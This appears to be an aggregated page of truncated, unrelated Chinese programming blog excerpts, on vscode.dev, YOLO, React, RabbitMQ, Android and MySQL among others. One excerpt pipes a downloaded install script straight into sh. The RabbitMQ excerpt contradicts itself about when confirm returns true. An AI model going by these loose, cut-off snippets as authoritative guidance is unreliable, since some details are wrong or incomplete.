重磅!微软发布 vscode.dev,把 VSCode 带入浏览器!

原作者:Chris Dias 原文:https://code.visualstudio.com/blogs/2021/10/20/vscode-dev 翻译:韩老师 + Google Translate 早在 2019 年,当.dev 顶级域名开放时,我们赶紧注册了 vscode.dev。像许多购买.dev 域名的人一样,我们不知道我们将用它做啥。反正,也占个坑吧! 将 VS Code 带入浏览器 直到今天,当你转到 https://vscode.dev 时,你将看到一个完全在浏览器中运行的轻量级 VS Code。在本地机器上打开一个文件夹并开始编码。 无需任何的安装。如丝般顺滑。 随着 vscode.dev 的出现,我们最终实现了我们最初的愿景,即构建一个可以在浏览器中完全无服务器运行的开发工具。 那么,我们可以在 VS Code for the Web 上做什么呢? 使用云工具进行本地开发 支持文件系统访问 API(目前的 Edge 和 Chrome)的现代浏览器允许网页访问本地文件系统(在你的许可下)。这个简单的本地机器网关,快速打开了一些使用 VS Code for the Web 作为零安装本地开发工具的有趣场景,例如: 本地文件查看和编辑。在 Markdown 中快速记笔记(和预览!)。即使你在无法安装完整 VS Code 的受限机器上,仍然可以使用 vscode.dev 查看和编辑本地文件。 结合浏览器工具构建客户端 HTML、JavaScript 和 CSS 应用程序以进行调试。 在 Chromebook 等低功率机器上编辑代码,因为你无法(或者说 “轻松地”)在 Chromebook 安装 VS Code。 在 iPad 上开发。你可以上传 / 下载文件(甚至使用 Files 应用程序将它们存储在云中),以及使用内置的 GitHub 存储库扩展远程打开存储库。

深度学习(从零开始)

1、线性回归 y=wx+b 2、学习网站:python 入门基础 python入门的120个基础练习(一) - 知乎 sklearn官方 https://sklearn.apachecn.org/#/ numpy NumPy 中文 周志华机器学习 周志华的西瓜书 - 01机器学习简介_哔哩哔哩_bilibili 数据 UCI Machine Learning Repository 神经网络:主页 - Keras 中文文档 3 、卷积神经网络+损失函数 4、梯度下降(BGD、MBGD、SGD) 随机梯度下降 5、房价预测以及手写体识别练习 6、卷积神经网络发展(LeNet,ALexNet,GoogLeNet,VGGNet,ResNet(拍脑袋想出来的),DenseNet,ResNeXt) 7、pytorch实现mlp,vgg16 推荐书籍pytorch深度学习入门与实践 8、textcnn 实现 数据链接 传送门 (yysy,某客属是垃圾,不能上传自己的数据,别人的还花钱)

Linux操作系统——切换到root用户及其他用户

一般情况下,默认以个人用户身份进入Linux操作,可通过输入指令su切换到root用户。 (输入密码过程中不显示密码) 输入指令exit退出root用户,回到个人用户。 切换到其他用户,输入指令su+ 用户名 。以用户名dog为例;

Python随机生成中文字符的方法

第一种方法:Unicode码 在unicode码中,汉字的范围是(0x4E00, 9FBF) import random def Unicode(): val = random.randint(0x4e00, 0x9fbf) return chr(val) 12345 这个方法比较简单,但是有个小问题,unicode码中收录了2万多个汉字,包含很多生僻的繁体字。 第二种方法:GBK2312 gbk2312对字符的编码采用两个字节相组合,第一个字节的范围是0xB0-0xF7, 第二个字节的范围是0xA1-0xFE. 更新: 值得注意的是,对于第55区,D7FA-D7FE的5个是没有编码的,需要在两个字节组合的范围中特意剔除一下。 对GBK2312编码方式详细的解释请参看GBK2312编码(参考文献3)(参考文献4)。 import random def GBK2312(): head = random.randint(0xb0, 0xf7) body = random.randint(0xa1, 0xfe) val = f'{head:x}{body:x}' str = bytes.fromhex(val).decode('gb2312') return str 12345678 GBK2312收录了6千多常用汉字.两种方法的取舍就看需求了。 pyhon encode和decode函数 Python2.x中默认的编码的基础类型是unicode编码的类型,在Python3.x才转化为基于unicode的字符串。 那么我们在Python2.x的学习中就会遇到各种各样的编码问题,encode和decode函数就是很好的帮我们解决这样问题的工具。 下面的程序中有详细的介绍和例子! 在Python2.x中: u = u'中文' #显示指定unicode类型对象u str = u.encode('gb2312') #以gb2312编码对unicode对像进行编码 str1 = u.encode('gbk') #以gbk编码对unicode对像进行编码 str2 = u.encode('utf-8') #以utf-8编码对unicode对像进行编码 u1 = str.decode('gb2312')#以gb2312编码对字符串str进行解码,以获取unicode u2 = str.

CSP-J复赛游记——2021-10-23

今天带着被吊打、有可能爆零的心态参加了复赛,感觉不错,从来我都是初赛水平较差的。 到场先看了T1,模拟加优化,签到但花了半小时,还不知道对不对…… 看T2,没看懂题……想不出来(一小时) 抛弃直接看T4,因为看着T3的题目很长,所以不敢看,发现有一定思路。试着做了做,用结构体存线段,把每块的左右端点记录下来,合并有点困难,然后就抛弃了。(半小时) 2个半小时了!!慌了!!! 于是看T3,耐心读题之后发现并不难,用一个数组判重,半个小时搞定,if写了一大堆,但是写完有一种很潇洒的感觉。 心里有底了!!至少是个二等奖……做第二题 然后用题目给的插入排序模板做了一下,做出来了,但是复杂度太高,改成了sort,用结构体记录位置,估计会好点,但还有可能超时间…… 心里估摸了一下,如果每道题60分,那么就是180……还剩半个小时…… 飞速写T4的合并部分……结构体加一个布尔型记录是否单次使用……然后在结束前10分钟样例对了!文件读写打好,提交!!!!!! 如果都是60分,那就是240分,应该是一等奖了(在北京),出了人大附,身体那叫一个轻快~~ 给你们一些忠告:不会写了不要死磕,嗑不动去趟厕所解解压,再吃一些士力架、喝点茶叶。 回家上洛谷测试民间数据,T4 70分,感觉还不错的……

yolov5-6.0快速训练助手使用教程傻瓜式训练不需要写代码配置

yolov5-6.0发布后,这次更新为我们带来了n版本,模型大幅度减少,yolov5n仅仅3.77M,适合在嵌入式部署。为了跟上时代发展要求,yolov5-6.0快速训练助手更新出来。本此更新依旧面向懒人和初学者,使用非常简单。 第一步:自己按照网上教程安装好yolov5环境 第二步:打开软件,导入自己的图片和labelImg标注格式voc格式xml文件夹目录 修改batch size占满自己的显卡加速训练 第三步:点击开始转换,获取在训练命令获取到yolov5训练命令。 第四步:激活自己yolov5环境,站体训练命令即可开始训练 本软件具有优点: (1)支持错误标注文件检查,可以减少训练报错的可能 (2)支持类别查找,找出自己错误标注类别名的文件 (3)支持yolov5n,yolov5s,yolov5l,yolov5m,yolov5x,yolov5n6,yolov5s6,yolov5l6,yolov5m6,yolov5x6快速训练 (4)全程不需要写代码配置,不需要到处改文件,傻瓜式操作。 软件使用教程地址:yolov5-6.0快速训练助手使用教程_哔哩哔哩_bilibili

React路由神坑Warning: You should not use <Route component> and <Route children> in the same route;

解决方法:删除Route标签中的空格或者换行。 今天学习了react-router。在router.js中写了如下内容发现,页面无法显示,但是编译成功了。 import { BrowserRouter as Router,Route} from 'react-router-dom'; import React from 'react'; import App from './pages/app'; import Login from './pages/login'; import Home from './pages/home'; export default function IRouter(){ return <Router> <Route path="/" component={App}> </Route> <Route path="/login" component={Login}> </Route> <Route path="/home" component={Home}> </Route> </Router> } 查看了浏览器console发现有警告。 查看资料发现是因为Route组件中不能添加换行或者空格,原因是不能有节点在里边,改成这样即可。 import { BrowserRouter as Router,Route} from 'react-router-dom'; import React from 'react'; import App from './pages/app'; import Login from './pages/login'; import Home from '.

Python中的条件语句

Python中的条件语句是通过一条或多条语句的执行结果(True或者False)来决定要执行的代码块。主要通过if关键字实现,条件中的其他分支用else。 回到以前读书的时候经常用到的一个例子:给学生的考试成绩评定等级,60以下为不及格,60-80为良好,80以上为优秀。在没有学习编程语言之前,那么我们写伪代码就是下面这个样子: 输入学生的成绩score如果分数<60:成绩不及格如果分数>=60 并且 分数<80,则成绩良好如果分数>=80,成绩优秀 在我们学习python之后,python中针对条件判断语句的执行语法如下:​​​​​​​ if 判断条件成立: 执行语句……else: 执行语句…… 多个if条件使用的场景:​​​​​​​ if 条件1成立: 执行语句1elif 条件2成立: 执行语句2else: 执行语句3 说明:if后面的条件在python中只要是任何非0非空的值,都会认为是True,即认为条件成立。 0或null就会认为是False。 Python没有像其它大多数语言一样使用“{}”表示语句体,而是通过语句缩进来判断语句体,缩进默认为4个空格。每个条件后面要使用冒号(:),表示接下来是满足条件后要执行的语句块,使用缩进来划分语句块,相同缩进数的语句在一起组成一个语句块。 那么,上面的学生分数的案例,在python中编写的话,可以写成下面的格式:​​​​​​​ score = int(input("请输入你的成绩:"))if score < 60: print("你的成绩不及格,还需继续努力哟!")if score >= 60 and score <80 : print('你的成绩良好')if score>= 80: print('你的成绩比较优秀') 当然,以上的写法,如果你输入一个非整数的数据,就会报类型转换错误,这里就不去做异常判断了,在以后实际的工作中使用的时候,类似的写法要注意类型转换是否会报错。 以上脚本,虽然能达到效果,但是每个if语句都会去判断一次,显示,这种写法是不推荐,因此,上面的脚本可以改成下面这种写法: ​​​​​​​ score = int(input("请输入你的成绩:"))if score < 60: print("你的成绩不及格,还需继续努力哟!")elif score >= 60 and score <80 : print('你的成绩良好')else: print('你的成绩比较优秀') if-elif-else的嵌套使用语法: ​​​​​​​ 格式:if 条件1: if 条件2: 语句1 elif 条件4: if 条件5: pass else: pass else: 语句2 elif 条件3: passelse: pass 注意:为了代码的维护,建议嵌套不要超过3层

Mac M1使用PD虚拟机进行Linux开发(一)使用ubuntu进行裸机开发篇

一、虚拟机系统的安装 使用Parallels Desktop 推荐的方式直接安装Ubuntu/Debian即可,这里我选择Debian(8G丐版在实际跑ubuntu的时候,用了几天,后面内存占用较高,改小运行内存后会出现闪退的情况,具体原因没有深究。Debian使用体验确实不错,使用的是xfce4桌面,这里先给大家避个雷) 博主这里默认的硬件配置是2核心+2G内存,实际体验很不错,暂时没发现卡顿。 安装过程全程不用动电脑,等待就好,硬件配置后面可以在虚拟机的配置中修改。 二、 基本环境的配置和源的替换 这里仍然不用赘述,我使用的是清华源,注意替换好源之后要更新。 # 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free deb https://mirrors.tuna.tsinghua.edu.cn/debian-security buster/updates main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security buster/updates main contrib non-free sudo apt-get update

ShedLock使用

参考:https://blog.csdn.net/johnf_nash/article/details/90741405 gitlab:https://github.com/lukas-krecan/ShedLock ShedLock支持多个锁供应媒介,jdbc、redis、mongdob、etcd、zookeeper等等都支持。这里我使用jdbc,所以首先要创建表用于存储锁 创建表 # MySQL, MariaDB CREATE TABLE shedlock(name VARCHAR(64) NOT NULL, lock_until TIMESTAMP(3) NOT NULL, locked_at TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3), locked_by VARCHAR(255) NOT NULL, PRIMARY KEY (name)); # Postgres CREATE TABLE shedlock(name VARCHAR(64) NOT NULL, lock_until TIMESTAMP NOT NULL, locked_at TIMESTAMP NOT NULL, locked_by VARCHAR(255) NOT NULL, PRIMARY KEY (name)); # Oracle CREATE TABLE shedlock(name VARCHAR(64) NOT NULL, lock_until TIMESTAMP(3) NOT NULL, locked_at TIMESTAMP(3) NOT NULL, locked_by VARCHAR(255) NOT NULL, PRIMARY KEY (name)); # MS SQL CREATE TABLE shedlock(name VARCHAR(64) NOT NULL, lock_until datetime2 NOT NULL, locked_at datetime2 NOT NULL, locked_by VARCHAR(255) NOT NULL, PRIMARY KEY (name)); # DB2 CREATE TABLE shedlock(name VARCHAR(64) NOT NULL PRIMARY KEY, lock_until TIMESTAMP NOT NULL, locked_at TIMESTAMP NOT NULL, locked_by VARCHAR(255) NOT NULL); 依赖 <properties> <shedlock.

MeiliSearch安装记录

从源码进行安装 下载源码 git clone https://github.com/meilisearch/MeiliSearch 安装rust编译环境 curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh source ~/.cargo/env 编译Meilisearch cd MeiliSearch/ rustup update cargo build --release ./target/release/meilisearch meilisearch 配置选项 Docker 安装 docker pull getmeili/meilisearch:latest docker run -it --rm -p 7700:7700 -v $(pwd)/data.ms:/data.ms getmeili/meilisearch:latest 加载测试数据 wget https://docs.meilisearch.com/movies.json curl -X POST 'http://127.0.0.1:7700/indexes/movies/documents' -H 'Content-Type: application/json' --data-binary @movies.json

React踩坑日记:React启动后报错TypeError: Cannot read properties of undefined (reading ‘forEach‘)

前言今天创建新项目运行后又出现这个问题了,之前也出现过,觉得是很正常的情况,不过我今天发现还有许多朋友不知道这个问题的解决方法,特地来记录一下。 话不多说 上图: 这个情况呢是由于你的浏览器安装了React-DevTools扩展程序的原因,安装这个东西是为了方便我们查看React元素和编译之后的一些代码,很多朋友是直接删除了,但是这不就等于是壮士断腕了嘛。解决方法如下: 1.进入项目中按照路径找到相应的文件 /node_modules/@pmmmwh/react-refresh-webpack-plugin/client/ReactRefreshEntry.js 2. 注释后重新npm start 报错解决的同时React-DevTools也能用

IntelliJ IDEA 设置忽略SVN文件和文件夹(.class文件)

IntelliJ IDEA 在提交文件至SVN时,可以设置忽略某些文件和文件夹,以免误提交不需要提交的文件。最后,插个题外话,介绍一下如何设置代码默认折叠或者展开。下面使用IntelliJ IDEA 2018.3.6 (Ultimate Edition)演示如何设置 1 通过Version Control设置 Intellij idea中设置忽略提交svn文件和文件夹,通过Settings -> Version Control -> Ignored Files设置。 单击箭头所指的加号,弹出如下页面: 这里有三个单选框,功能从上到下依次是 忽略指定的文件;忽略文件夹下所有文件;忽略符合匹配规则的文件。 例如,下图所示的设置将忽略所有.class文件。 有时候在这里设置后,一些文件夹下的文件还是未忽略,就需要进行在Ignore files and folders里设置了。 2 Ignore files and folders 找到Settings→Editor→File Types,在Ignore files and folders输入框中输入target,将会忽略项目中target目录下的所有文件。 至此,完全解决了向SVN提交文件时,.class文件的干扰,不必手动剔除了。但是,如果需要修改被隐藏的配置文件,就有注意了,只能不隐藏或者到文件所在目录修改。 3 配置changelist(idea 2020.2版本只有这个有效果) 可以对已经纳入版本控制的文件进行分类,提交时,只提交default(默认的)changelist,方便管理,而且,避免误提交文件。关于未曾纳入版本控制的文件,只需纳入版本控制再做处理。 ① 创建changelist的效果 按照下图步骤1和步骤2创建MyChangelist。3是创建后的效果。 ② 打开Version Control->Local Changes,单击Changelists按钮,选择New Changelist以新增一个changelist ③ 新增changelist 在 New Changelist 对话框中输入Name和Comment即可创建名为MyChangelist的changelist。 ④ 使用Changelist对文件分类 将不需要提交的文件移动到MyChangelist,右键单击文件,选择Move to Another Changelist,操作如下图所示: 4 设置代码是否折叠 仅有一行代码的函数默认是折叠的,很不习惯。如果设置默认不折叠,则到setting里修改: File->Setting->Editor->General->Code Folding,不勾选箭头所指选项即可,其它折叠默认项也可以在此设置。

博文翻译系列——如何入门数据科学 without spending a penny

转载请注明出处:https://blog.csdn.net/u011995719/article/details/120899558 博文翻译转载系列——基于“输入输出”学习方法,非直译的方式转载国外博文,取其精华去其糟粕转化为自己的语言,供大家学习交流。 目录 数学与代码基础机器学习与深度学习基础总结与建议 原文:https://medium.com/@pranshumshr.04/how-i-learned-data-science-without-spending-a-penny-67d2ac5d04a1 译文: 博文翻译系列——How I learned Data Science without spending a penny. 看看我是如何不花一分钱学习数据科学相关知识 数据科学(Data Science)是很大的方向,想要学习数据科学,堪比登天(毕竟涉及太多的课程)。数据科学的学习需要很多预备知识,因此,想要掌握好数据科学,就需要有一个良好的计划。很多初学者不知道怎么学习,就会花费高昂的价格购买各种学习课程。而我是一个提倡自学的自学主义者,这里就介绍一些免费的自学资源给大家,包括好评如潮的免费资源。 先来看预备知识的学习资源: 数学与代码基础 线性代数(Linear Algebra): 线性代数的重要性不言而喻(通常大一就会上这门课),线代中需要了解向量和矩阵的概念及其基础操作,如点积(dot products)和矩阵乘法(matrix multiplication)等待。 3Blue1Brown’s playlist “Essence of Linear Algebra” is a really good resource to develop an intuition for Linear Algebra. You can also try the Mathematics for Machine Learning Specialization’s Course 1: Linear Algebra. 微积分(calculus):入门数据科学不需要深奥的微积分知识,只需要先了解基础的概念,如梯度下降法,它是机器学习重要的组成部分,也是神经网络的基石。 Again 3Blue1Brown’s playlist “Essence of Calculus” is a really good resource to develop an intuition for Calculus.

Arduino Uno + APDS9930 实现手势控制LED灯亮灭、调光等

目录 前言功能介绍:1、靠近亮灯、距离保持约10cm常亮,远离延时熄灭2、靠近点亮/熄灭LED,延时期间操作不响应3、挥手点亮/熄灭LED,悬停进行非无极pwm调光 接线效果图源码通用部分APDS9930.cppAPDS9930.h 1、靠近亮灯、距离保持约10cm常亮,远离延时熄灭2、点亮/熄灭LED,延时期间操作不响应3、挥手点亮/熄灭LED,悬停进行非无极pwm调光 参考图 前言 开发板:Arduino Uno Rev3 创客主板 开发环境:Arduino IDE 开发语言:Arduino 语言(类C语言) 模块:APDS9930 源码参考:https://github.com/Depau/APDS9930 功能介绍: 1、靠近亮灯、距离保持约10cm常亮,远离延时熄灭 当有物体靠近传感器约10cm的位置时,触发中断,点亮LED LIGHT_TIME毫秒,持续触发则常亮,无则灭灯。 通过修改 宏定义 LIGHT_TIME调节延时,LED负极接在数字10口(正极 3.3V供电) 2、靠近点亮/熄灭LED,延时期间操作不响应 当有物体靠近传感器约10cm的位置时,触发中断,点亮/熄灭LED,延时RESPONSE_TIME毫秒,延时期间操作不响应。 通过修改 宏定义 RESPONSE_TIME调节延时响应。 3、挥手点亮/熄灭LED,悬停进行非无极pwm调光 当有物体靠近传感器约10cm的位置时,可以触发中断。 如果4RESPONSE_TIME毫秒内 没有触发4次中断,即4RESPONSE_TIME毫秒内,划过传感区域,则为开关模式,会进行LED的亮灭操作(亮到设定的pwm_val)如果4RESPONSE_TIME毫秒内 触发了4次中断,即4RESPONSE_TIME毫秒以上,物体一直停留在传感区域内,则为pwm调光模式,会进行LED的pwm非无极调光(每次在当前基础上增加PWM_CHANGE_VAL)如果在pwm调光模式下,物体移出了传感区域,则会结束pwm值的调节。若下次继续快划,则进行开关,若继续悬停,则继续调光。单位延时RESPONSE_TIME毫秒,延时期间操作不响应。通过修改 宏定义 RESPONSE_TIME调节延时响应,若想增加调光速率,可减小此值。通过修改 宏定义 PWM_CHANGE_VAL,调节单次pwm调光的大小,范围1-255。若想要更细致的调光,可减小此值。 接线 Arduino Pin APDS-9930 Board Function 3.3V VL 据说用作参考电压,得接上 3.3V VCC Power GND GND Ground A4 SDA I2C Data A5 SCL I2C Clock 2 INT Interrupt 10 - LED 效果图 Arduino+APDS9930 实现手势控制灯亮灭、调光等

YOLO v3网络结构分析

1.Darknet-53 模型结构 在论文中虽然有给网络的图,但我还是简单说一下。这个网络主要是由一系列的1x1和3x3的卷积层组成(每个卷积层后都会跟一个BN层和一个LeakyReLU)层,作者说因为网络中有53个convolutional layers,所以叫做Darknet-53(2 + 1*2 + 1 + 2*2 + 1 + 8*2 + 1 + 8*2 + 1 + 4*2 + 1 = 53 按照顺序数,最后的Connected是全连接层也算卷积层,一共53个)。下图就是Darknet-53的结构图,在右侧标注了一些信息方便理解。(卷积的strides默认为(1,1),padding默认为same,当strides为(2,2)时padding为valid) 其网络结构能分为三部分。 第一部分:图片的输入 第二部分:基础网络。作者原文使用的是 Darkjnet-53 without FC layer。 第三部分:yolo v3的三个分支。y1(13x13x255),y2(26x26x255),y3(52x52x255)。 Y1从上面结点获取。是最高层的,最抽象的特征。适合比较大的目标检测; Y2是在Y1的基础上做一个上采样+一个低层的一个特征进行连接(concat)。 适合中等的目标检测; Y3是在Y2的基础上做一个上采样+一个更低层的一个特征进行连接(concat)。适合小 目标的检测。 三个尺度的输出皆是奇数,使得网格会有个中心位置。 通道数255:{[80(coco数据集共有80类)+[X+Y+W+H+Confiderce]}×3(anchor) = 255 CBL为卷积块:由conv2d,Batch Normalization,Leaky relu 这三个网络层组成。 Res为残差块:包含两个卷积块和一个add层,add层只是将相同维度的张量进行相加。 ResX为多个残差块,X代表残差块的个数。 上采样;将特征图的宽和高变成原来的两倍,通道数不变。 Concat张量拼接:相同宽和高的通道数相加。 具体来说(基于YOLOV3) 1:输入一张任意大小图片,保持长宽比不变的情况下,缩放至 w 或 h 达到416,再覆盖在416*416的新图上,作为网络的输入。即网络的输入是一张416*416,3通道的RGB图。 2:运行网络。YOLO的CNN网络把图片分成 S*S 个网格(yolov3多尺度预测,输出3层,每层 S * S个网格,分别为 13*13 ,26 *26 ,52*52),然后每个单元格负责去检测那些中心点落在该格子内的目标,如图二所示。 每个单元格需要预测 3*(4+1+B)个值。如果将输入图片划分为 S*S 网格,那么每层最终预测值为 S*S*3*(4+1+B) 大小的张量。 B:类别数(coco集为80类),即B=80.

『图解』深度可分离卷积

深度可分离卷积其实是一种可分解卷积操作(factorized convolutions)。其可以分解为两个更小的操作:depthwise convolution 和 pointwise convolution。 深度卷积 与标准卷积网络不一样的是,这里会将卷积核拆分成单通道形式,在不改变输入特征图像的深度的情况下,对每一通道进行卷积操作,这样就得到了和输入特征图通道数一致的输出特征图。如上图,输入12*12*3 的特征图,经过5*5*3的深度卷积之后,得到了8*8*3的输出特征图。输入和输出的维度是不变的3,这样就会有一个问题,通道数太少,特征图的维度太少,能获得足够的有效信息吗? (3)逐点卷积 逐点卷积就是1*1卷积,主要作用就是对特征图进行升维和降维,如下图: 在深度卷积的过程中,我们得到了8*8*3的输出特征图,我们用256个1*1*3的卷积核对输入特征图进行卷积操作,输出的特征图和标准的卷积操作一样都是8*8*256了。 标准卷积与深度可分离卷积的过程对比如下: (4)为什么要用深度可分离卷积? 深度可分离卷积可以实现更少的参数,更少的运算量。 将卷积乘法变成加法来实现相同的效果

安装android sdk并且配置android环境变量

参考:https://blog.csdn.net/qq_35868412/article/details/91366770 下载android sdk工具 下载Android SDK Tools,首先打开https://www.androiddevtools.cn/ 下载解压版zip ### 运行SDK Manager.exe下载相关sdk,其中api跟据项目需要下载,这里是示例是API 22 勾选完后,点击“install xxxx”按钮 安卓配置环境变量 android根目录 ANDROID_SDK_ROOT D:\Program Files\Android\android-sdk_r24.4.1-windows\android-sdk-windows 配置path变量 %ANDROID_SDK_ROOT%\platform-tools %ANDROID_SDK_ROOT%\tools 如果项目构建提示sdk没有接受licenses 找到sdk目录/tools/bin下 .\sdkmanager.bat --update Exception in thread "main" java.lang.NoClassDefFoundError: javax/xml/bind/annotation/XmlSchema at com.android.repository.api.SchemaModule$SchemaModuleVersion.<init>(SchemaModule.java:156) at com.android.repository.api.SchemaModule.<init>(SchemaModule.java:75) at com.android.sdklib.repository.AndroidSdkHandler.<clinit>(AndroidSdkHandler.java:81) at com.android.sdklib.tool.sdkmanager.SdkManagerCli.main(SdkManagerCli.java:73) at com.android.sdklib.tool.sdkmanager.SdkManagerCli.main(SdkManagerCli.java:48) Caused by: java.lang.ClassNotFoundException: javax.xml.bind.annotation.XmlSchema at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:581) at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:178) at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:521) ... 5 more 注意:如果执行命令报错提示class not found,是因为电脑配置的jdk环境是jdk9或者jdk10,回退到jdk7或者jdk8即可 按如下提示后全部y接受licenses

OpenCV.图形绘制.直线

直线绘制 在OpenCV环境中,直线的绘制依赖于Imgproc.line() 这个方法。该方法的一个构造方法如下: line(img, pt1, pt2, color); 其参数解释如下: mat 表示要在其上绘制线条的图像的Mat对象。pt1,pt2 表示要绘制线条的点的两个点对象。scalar 表示圆的颜色的标量对象(BGR)。 当然了,还可以控制直线的粗细,即上述构造方法最后追加一个参数,thickness来表示粗细,厚度值为1. Java代码(JavaFX Controller层) public class Controller{ @FXML private Text fxText; @FXML private ImageView imageView; @FXML public void handleButtonEvent(ActionEvent actionEvent) throws IOException { Node source = (Node) actionEvent.getSource(); Window theStage = source.getScene().getWindow(); FileChooser fileChooser = new FileChooser(); FileChooser.ExtensionFilter extFilter = new FileChooser.ExtensionFilter("PNG files (*.png)", "*.png"); fileChooser.getExtensionFilters().add(extFilter); fileChooser.getExtensionFilters().add(new FileChooser.ExtensionFilter("JPG Files(*.jpg)", "*.jpg")); File file = fileChooser.showOpenDialog(theStage); imageView.setImage(drawLine(file.getPath())); } private WritableImage drawLine(String filePath) throws IOException { System.

【Android】按返回键再按一次退出、退出确认提示框

1.再按一次退出 这个功能很好解决,我们只需要监听用户是否按了返回键,然后记录第一次时间,如果第二次时间与第一次相差小于某个值那就结束程序,否则不做处理。所以我们要重写onBackPressed方法 public class MainActivity extends AppCompatActivity { private long exitTime; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } @Override public void onBackPressed() { if ((System.currentTimeMillis() - exitTime) > 2000) { Toast.makeText(getApplicationContext(), "再按一次退出程序", Toast.LENGTH_SHORT).show(); exitTime = System.currentTimeMillis(); } else { finish(); } } } 2.退出提示框 退出提示框我们可以使用AlertDialog来做,当前其他控件也可以,看自己的实际情况。刚开始就实例化一个AlertDialog.Builder,退出的时候调用show()即可 public class MainActivity extends AppCompatActivity { private AlertDialog.Builder builder; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); initDialog(); } private void initDialog() { builder = new AlertDialog.

Qt 应用软件的属性编辑器

最近有个项目做飞行器地面站的软件,软件中设计到了一些类似飞行仪表盘,液压计等控件,控件我做好了,但是有个要求就是要求所有控件的属性可以配置,类似在QtDesigner中开发时用的控件属性编辑器, 我搜了下,有两个库可以用:qtpropertybrowser 和 QtnProperty; 我选择用后者,csdn某博主说:“QT扩展库里面官方有提供一个QtPropertyBrowser,这个库提供的控件太少了,不是很好用" QtnProperty下载地址为 GitHub - qtinuum/QtnProperty: Extended properties for Qt5 该库的编译前提目前未: Qt 5.9 framework or laterOptional: Flex 2.6.4 and Bison 3.1.1 (for Windows can be found here) if you build QtnPEG tool 我目前用的 Qt 版本是 Qt5.7.1 ,因为之前遇到过一个问题:Qt5.9编译的程序无法在xp上运行,(QT5.7之后的版本已经不再支持xp系统了,即5.7之后编译的程序无法在xp上运行。) 当前项目软件无xp运行需求,所以准备安装 Qt5.9 正在下载中……

为什么经常把VARCHAR长度设置成255,而不是更大

首先VARCHAR不是定长的,而是可变的,所以一般业务开发我们都要尽量使用最小的长度来满足需求,以免浪费空间,影响性能,而既然是可变的长度,那就得有保存长度的地方,所以如果VARCHAR的长度设置在255以下,那只会使用额外一个字节来保存长度,但是如果VARCHAR的长度设置在255以上,那么就会使用额外的两个字节来保存长度,无形中就浪费了存储空间。

RabbitMQ 消息确认机制 ——可靠抵达(发送端)

前言 : rabbitMQ为了防止消息不丢失的情况,可以使用事物消息,但是性能下降250倍,为此引入确认机制 如上图所示: 一、publisher confirmCallBack确认模式 springboot开启rabbitmq可靠抵达 ——confirmCallBack spring: rabbitmq: publisher-confirm-type: correlated 当我们的publisher 到达 broker (服务器时候) ,返回confirmCallback,当消息没有抵达broker的时候返回true,并会给出失败原因。 public class MyRabbitConfig { @Autowired RabbitTemplate rabbitTemplate; /** * 使用json序列化 将消息转为json * @return */ @Bean public MessageConverter messageConverter(){ return new Jackson2JsonMessageConverter(); } /** * MyRabbitConfig 方法创建完成之后 执行 postConstruct */ @PostConstruct public void initRabbitTemplate(){ /** * 设置确认回调 */ rabbitTemplate. setConfirmCallback(new RabbitTemplate.ConfirmCallback() { /** * 只要 消息到达 broker(服务器) 就返回true ,如果不抵达返回false * @param correlationData 消息关联数据(通过id关联) * @param b 消息是否成功收到 * @param s 失败的原因 */ @Override public void confirm(CorrelationData correlationData, boolean b, String s) { } }); } } 二、publisher returnCallBack 确认模式

【Android】ActionBar监听返回按钮

android生成的Activity默认是不显示ActionBar的,如果有需要可以把它打开,并且设置主副标题、返回键键等,重写onOptionsItemSelected才能点击返回键返回上一层 public class AboutActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_about); ActionBar actionBar = getSupportActionBar(); // 获取ActionBar if (actionBar != null) { actionBar.setTitle("关于"); // 设置ActionBar的标题 // actionBar.setSubtitle("请详细阅读"); // 副标题 actionBar.setDisplayHomeAsUpEnabled(true); // 设置返回按钮 } } // 监听返回按钮,如果点击返回按钮则关闭当前Activity @Override public boolean onOptionsItemSelected(@NonNull MenuItem item) { if (item.getItemId() == android.R.id.home) { this.finish(); return true; } return super.onOptionsItemSelected(item); } }

MySQL—表中添加数据

1、在t_student数据库表中插入数据 注意:插入的数据必须和数据表字段一一对应 insert into t_student values (1,'张三','男',18,'2022-5-8','软件1班','123@qq.com'); 向数据表中插入数据 insert into 表名 value(数据1,数据2,数据3,…) 2、int 宽度是显示宽度,如果超过,可以自动增大宽度 int底层都是4个字节 insert into t_student values (10010010,'张三','男',18,'2022-5-8','软件1班','123@qq.com'); 建表的时候sno字段设置为6 3、时间的方式多样 ‘1256-12-23’ “1256/12/23” "1256.12.23" 三种时间格式新建后的语句都为’1256-12-23’ 格式 4、字符串不区分单引号和双引号 '张三’和"张三" insert into t_student values (2,'张三','男',18,'2022.5.8','软件1班','123@qq.com'); insert into t_student values (2,"张三",'男',18,'2022.5.9','软件1班','123@qq.com'); 5、如何写入当前的时间 now() , sysdate() , CURRENT_DATE() now() insert into t_student values (3,"张三",'男',18,now(),'软件1班','123@qq.com'); 6、char varchar 是字符的个数,不是字节的个数,可以使用binary,varbinary表示定长和不定长的字节个数。 在建表的时候设置的名字字段不允许超过10个字符 insert into t_student values (4,"美国迈克尔乔丹篮球之神",'男',18,now(),'软件1班','123@qq.com'); 运行结果会报错,错误原因sname的文字太长 7、如果不是全字段插入数据的话,需要加入字段的名字 insert into t_student values(10,'李四','2021-1-1') 运行结果会报错,错误原因,没有告诉我这3个字段分别代表什么字段 解决方法:指定插入的信息与什么字段一一对应 insert into t_student (sno,sname,enterdate) values(10,'李四','2021-1-1')

